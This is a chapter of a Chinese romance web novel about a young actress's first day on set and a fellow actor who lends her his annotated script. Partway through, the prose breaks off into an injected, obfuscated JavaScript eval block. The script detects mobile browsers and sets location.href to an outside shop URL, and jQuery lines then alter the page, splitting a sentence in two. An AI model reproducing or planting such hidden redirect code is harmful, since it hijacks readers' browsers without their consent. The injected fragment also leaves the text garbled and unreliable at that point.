清晨六点，闹钟响了第三遍。
宋初妤从被窝里伸出一只手，摸索着按掉闹钟，又把头埋进枕头里。昨晚看剧本看到凌晨三点，梦里全是台词和对白，醒来时脑袋昏沉得像灌了铅。
今天是张导电影《春夜听雨》的开机仪式。
没错，张导的试镜她通过了，而这是她职业生涯的第一个女主角。
“初妤！起床了！”经纪人王哥的声音隔着门板传来，“七点必须出门，路上要一个多小时！”
宋初妤挣扎着坐起来，揉了揉眼睛。窗外天色还是灰蒙蒙的，几颗残星挂在天边。她深吸一口气，告诉自己不能睡过头，今天太重要了。
洗漱、化妆、换衣服，一切都在匆忙中进行。造型师给她准备了条浅杏色的连衣裙，款式简单但剪裁精良，外面搭了件米白色针织开衫，看起来温柔又得体。化妆是自然的“伪素颜”妆，突出她清透的皮肤和灵动的眼睛。
“剧本呢？”宋初妤换好鞋，在客厅转了一圈。
“应该在餐桌上。”王哥一边打电话一边说，“昨天你不是在那儿做笔记吗？”
宋初妤跑到餐桌前——没有。沙发上——没有。书房——也没有。
“奇怪，我明明放在……”她皱眉，努力回想昨晚最后看到剧本的地方。对了，她是在床上看的，后来困得不行，随手放在床头柜上了。
她跑回卧室，床头柜上果然放着那本厚厚的剧本，上面贴满了彩色标签，边缘因为反复翻阅已经起毛。
“找到了！”她松了口气，把剧本塞进随身的大托特包里。
七点十分，两人终于出门。司机已经在楼下等着，车子驶入早高峰的车流，缓慢地向郊区的影视基地前进。
宋初妤打开剧本，想趁着路上时间再过一遍今天开机仪式后要拍的第一场戏。那是一场雨中告别的戏，台词很长，情绪起伏大，她昨晚练了无数遍，但总觉得还不够。
车子堵在了一个十字路口。王哥接了个电话，语气突然焦急起来：“什么？临时调整？可是我们已经快到了……行，我知道了。”
挂断电话，他转头对宋初妤说：“导演组刚通知，开机仪式后直接拍第三场戏，就是你和男主在书店相遇那场。”
宋初妤心里一紧：“那场戏台词很多……”
“所以你赶紧再看一遍。”王哥看了眼时间，“还有四十分钟，来得及。”
宋初妤连忙翻到第三场戏的页码，开始默念台词。可越急越乱，那些原本熟悉的句子忽然变得陌生起来。她手心开始冒汗，小声背诵，时不时卡壳。
车子终于抵达影视基地。开机仪式设在基地中央的广场上，已经有不少媒体和工作人员到场。红毯、背景板、香槟塔，一切都准备好了。
“你先下车，我去停车。”司机说，“王哥，这边不能久停。”
“好。”王哥拉开车门，“初妤，快，导演在那边等着了。”
宋初妤抓起包就要下车，突然想起什么：“等等，我的水杯……”
“我帮你拿。”王哥接过她手里的包，“你先去跟导演打招呼。”
宋初妤点点头，匆匆下车，小跑着往导演那边去。清晨的风还有些凉，吹得她裙摆飞扬。她努力调整呼吸，让自己看起来镇定自若。
“张导早。”她走到张导面前，微微鞠躬。
张导是个五十多岁的中年男人，戴着一副黑框眼镜，气质儒雅。他打量了宋初妤一眼，点点头：“早。状态不错。等会儿开机仪式结束后，我们直接拍第三场戏，你准备一下。”
“好的导演。”宋初妤应道。
开机仪式流程很简单，烧香、拜神、切烤猪、拍照。宋初妤全程保持着甜美的笑容，配合媒体拍照。闪光灯噼里啪啦响个不停，她眼睛都快被闪花了。
仪式结束，导演组开始布置第一场戏的拍摄场地——一家复古风格的书店。宋初妤这才想起来要拿剧本温习，她转头找王哥，发现他正忙着跟制片人说话。
“王哥，我的包呢？”她走过去小声问。
王哥一愣：“包？不是在车上吗？司机去停车了，等会儿就开过来。”
“剧本在包里。”宋初妤心里一沉，“第三场戏的台词我还没记熟……”
“什么？”王哥脸色变了，“你怎么不早说？司机电话打不通，可能在停车没信号。你赶紧想想办法，还有二十分钟就开拍了！”
宋初妤脑子里嗡的一声。她拿出手机想给司机打电话，果然无人接听。她又翻通讯录，想找剧组工作人员帮忙，但大家都有各自要忙的事，一时半会儿也抽不开身。
怎么办？
她急得在原地打转，手指无意识地绞在一起。今天的戏份对她太重要了，这是她第一次在张导的剧组拍戏，还是女主角，如果第一场就出状况……
“怎么了？”
清冽的声音在身后响起。
宋初妤回头，整个人愣在原地。
江顾林站在她身后几步远的地方，今天穿了件简单的黑色衬衫和灰色长裤，没做什么造型，头发随意地垂在额前，却依然耀眼得让人挪不开眼。他身后跟着林薇薇，两人似乎是刚到的。
“江顾林？”宋初妤完全没想到会在这里见到他，“你怎么……”
“来给陈老师捧场。”江顾林说的陈老师是这部电影的男二号，一位德高望重的老戏骨，“听说你今天开机，顺便来看看。”
他说得轻描淡写，但旁边的林薇薇翻了个白眼——顺便？专程推了两个行程赶过来的，这叫顺便？
宋初妤没注意到林薇薇的表情，她现在满脑子都是剧本的事：“我……我把剧本落在车上了，司机联系不上，等会儿就要拍第三场戏，我台词还没记熟……”
她越说越急，声音都带了点哭腔。
江顾林眉头微皱，看了林薇薇一眼。林薇薇立刻会意，转身去找剧组工作人员沟通。
“别急。”江顾林走近一步，声音比平时温和许多，“第三场戏是哪一场？”
“书店相遇，女主角去买《百年孤独》，男主角是书店老板……”宋初妤语无伦次，“台词很长，我昨晚明明背得很熟，可现在全忘了……”
“《春夜听雨》的剧本我看过。”江顾林突然说。
宋初妤愣住：“你看过？”
“嗯。”江顾林点头，“张导之前找过我，但我档期不合适。剧本写得很好，特别是第三场戏，人物性格和情感转变都很细腻。”
他说着，转身走向自己的车。宋初妤茫然地跟在他身后。
江顾林打开后座车门，从里面拿出一个黑色的文件袋，从袋子里抽出一本装订整齐的剧本——和她的那本一模一样，封面上印着《春夜听雨》的片名和logo。
“这是……”宋初妤睁大眼睛。
“我留了一本做纪念。”江顾林把剧本递给她，“你先用。”
宋初妤接过剧本，手指因为激动而微微发抖。她翻开封面，里面是熟悉的场景和台词，甚至在某些页面，还有用铅笔做的批注——字迹挺拔有力，和她自己那些密密麻麻的彩色标签不同，这些批注简洁精准，直指核心。
“这些笔记……”她抬头看江顾林。
“看剧本时随手写的。”江顾林语气平淡，“可能对你有帮助。”
何止有帮助。宋初妤看着那些批注，忽然明白了自己之前总觉得差点什么的原因。江顾林的批注从人物心理到台词逻辑，从情绪转折到表演节奏，每一处都点得恰到好处。就像迷雾中突然亮起一盏灯，照亮了她一直摸索的路。
“谢谢……谢谢你。”她声音有些哽咽，“我真的……不知道该怎么感谢......。”
“不用谢。”江顾林看着她泛红的眼眶，声音又软了几分，“去准备吧，还有十五分钟。”
宋初妤用力点头，抱着剧本转身就要往化妆间跑。
“初妤。”江顾林叫住她。
她回头。
“以后出门前检查一下。”他说，语气里带着一丝无奈的纵容，“别总是丢三落四的。”
这话说得有点像长辈训话，但宋初妤听出了里面的关心。她脸一热，小声说：“知道了。”
然后抱着剧本跑开了。
看着她消失在化妆间门口的背影，江顾林唇角微不可察地弯了一下。
林薇薇走过来，抱着手臂看他：“可以啊我们顾林，剧本都随身带着。你怎么知道她今天会忘带？”
“我不知道。”江顾林关上车门，“只是以防万一。”
“以防万一？”林薇薇挑眉，“那你车里那本《春夜听雨》的原著小说呢？也是以防万一？”
江顾林没接话。
林薇薇叹气：“等她哪天开窍了，发现你这些‘巧合’，看你怎么解释。”
“不需要解释。”江顾林看着化妆间的方向，声音很轻，“她只需要知道，无论什么时候，我都在她身后。”
林薇薇愣了一下，然后摇头笑了。
另一边，宋初妤冲进化妆间，背靠着门平复呼吸。怀里的剧本还带着江顾林车里的温度，和他身上淡淡的雪松香气。她翻开有批注的那几页，仔细阅读。
江顾林的笔迹和她想象中一样，挺拔有力，每一笔都带着筋骨。他在女主角第一次见到男主角时的心理活动旁边写道：“好奇掩盖紧张，试探中带着期待。”在两人讨论《百年孤独》的那段长台词旁写道：“表面谈书，实则谈情。台词是壳，眼神是真。”
这些批注像一把钥匙，瞬间打开了宋初妤对这场戏的理解。她闭上眼睛，在脑海里过了一遍戏，再睁开眼时，眼神已经完全不同了。
“初妤，可以开拍了。”工作人员在外面敲门。
“来了。”宋初妤深吸一口气，把剧本小心地放在化妆台上，推门走了出去。
拍摄地点在影视基地里搭建的复古书店。道具组做得很用心，木质书架、旧书、暖黄色的灯光，还有淡淡的旧纸张和咖啡混合的气味。
男主角是位实力派演员
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062640|195097||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，叫周文瀚，四十出头，气质儒雅。他看到宋初妤，友善地笑了笑：“小宋，准备好了吗？”
“准备好了，周老师。”宋初妤点头。
导演喊了开机。
第一镜，女主角推门进入书店。宋初妤推门的动作很轻，带着一种小心翼翼的试探。她站在门口环顾四周，眼神里既有对陌生环境的好奇，又有一种不易察觉的紧张——那是江顾林批注里写的“好奇掩盖紧张”。
“卡！很好！”张导在监视器后点头，“下一镜。”
第二镜，她走到书架前，手指划过书脊，最后停在《百年孤独》上。这个动作她练习了很多遍，但今天做起来格外自然。拿书，翻开，看到里面的价格标签，眉头微皱——一个囊中羞涩却又爱书的女孩子形象瞬间立住了。
第三镜，男主角从柜台后走出来，两人第一次对话。
这是整场戏的核心。台词很长，涉及对《百年孤独》的理解，对人生的感悟，还有若有若无的试探。宋初妤昨天背这段时总觉得别扭，但现在，她看着周文瀚的眼睛，那些台词自然而然地流淌出来。
她说的不是台词，而是一个真实的人在想说的话。
“孤独是人生的常态。”她说，手指无意识地摩挲着书页，“但我们总在寻找那个能读懂自己孤独的人。”
周文瀚饰演的书店老板看着她，眼神深邃：“也许那个人就在身边，只是我们还没发现。”
这段对话原本很容易显得矫情，但在两人的演绎下，变得真诚而动人。
“卡！”张导站起来，以挑剔著称的他脸上难得露出笑容，“很好！这条过了！”
现场响起掌声。周文瀚也对宋初妤竖起大拇指：“演得很好，情绪很到位。”
宋初妤松了口气，这才发现自己手心全是汗。她下意识地看向场边，江顾林还站在那里，抱着手臂，见她看过来，对她点了点头。
那是一个很轻的动作，但宋初妤读懂了里面的肯定。
她心里涌起一阵暖流。
接下来的拍摄都很顺利。宋初妤像是被打通了任督二脉，每个镜头都完成得很好。张导原本准备拍一上午的戏，结果两个多小时就拍完了。
“休息一小时，下午拍第五场。”导演宣布。
宋初妤回到化妆间，第一件事就是拿起那本剧本。她小心地翻看着江顾林的批注，越看越佩服。那些点评不仅精准，而且充满了对表演艺术的深刻理解。
“看入迷了？”王哥推门进来，脸上带着笑，“今天表现得很好，张导刚还夸你呢。”
“多亏了江顾林给的剧本。”宋初妤说，“他的批注让我一下子明白了这场戏该怎么演。”
王哥凑过来看了几眼，也啧啧称奇：“江顾林这人，看着高冷，没想到这么细心。不过这剧本他怎么会有？还做了这么多笔记？”
宋初妤一愣。对啊，江顾林怎么会有《春夜听雨》的剧本？还看得这么仔细？
“他说张导之前找过他，他因为档期没接。”她解释。
“那也说不通啊。”王哥皱眉，“没接的戏，剧本一般就还回去了，就算留着，也不会这么仔细地研究。而且你看这些批注的细致程度，不像是随便看看。”
宋初妤看着那些字迹，心里也浮起疑问。
这时，化妆间的门被轻轻敲响。
“请进。”宋初妤说。
门开了，江顾林站在门口。他已经换了个造型，大概是等会儿有其他行程。他看到宋初妤手里的剧本，眼神闪了闪。
“江顾林。”宋初妤站起来，“谢谢你的剧本，今天真的帮了大忙。”
“不客气。”江顾林走进来，很自然地在旁边的椅子上坐下，“拍得怎么样？”
“很顺利，导演说一遍过。”宋初妤眼睛亮晶晶的，“多亏了你的批注，让我对角色理解得更深了。”
江顾林唇角微弯：“是你自己悟性好。”
两人之间忽然安静下来。化妆间里只有他们两个人，气氛有些微妙。
宋初妤犹豫了一下，还是问出了心中的疑问：“可是你为什么会这么仔细地研究这个剧本？还做了这么多笔记？”
江顾林看着她，眼神深不见底。
“因为写得好。”他最终说，“好的剧本值得反复品味。”
这个回答很官方，但宋初妤总觉得哪里不对。她还想再问，江顾林的手机响了。
他看了眼来电显示，站起身：“我接个电话。剧本你先留着用，不用急着还。”
“好。”宋初妤点头。
江顾林走到门口，又回头：“晚上剧组有聚餐吗？”
“有，导演说大家一起吃个饭。”
“嗯。”江顾林顿了顿，“少喝点酒。”
说完，他推门出去了。
宋初妤愣在原地。少喝点酒？他是在……关心她吗？
但是很快她便自我否定了这个想法。
江顾林关心她？
简直想都不敢想。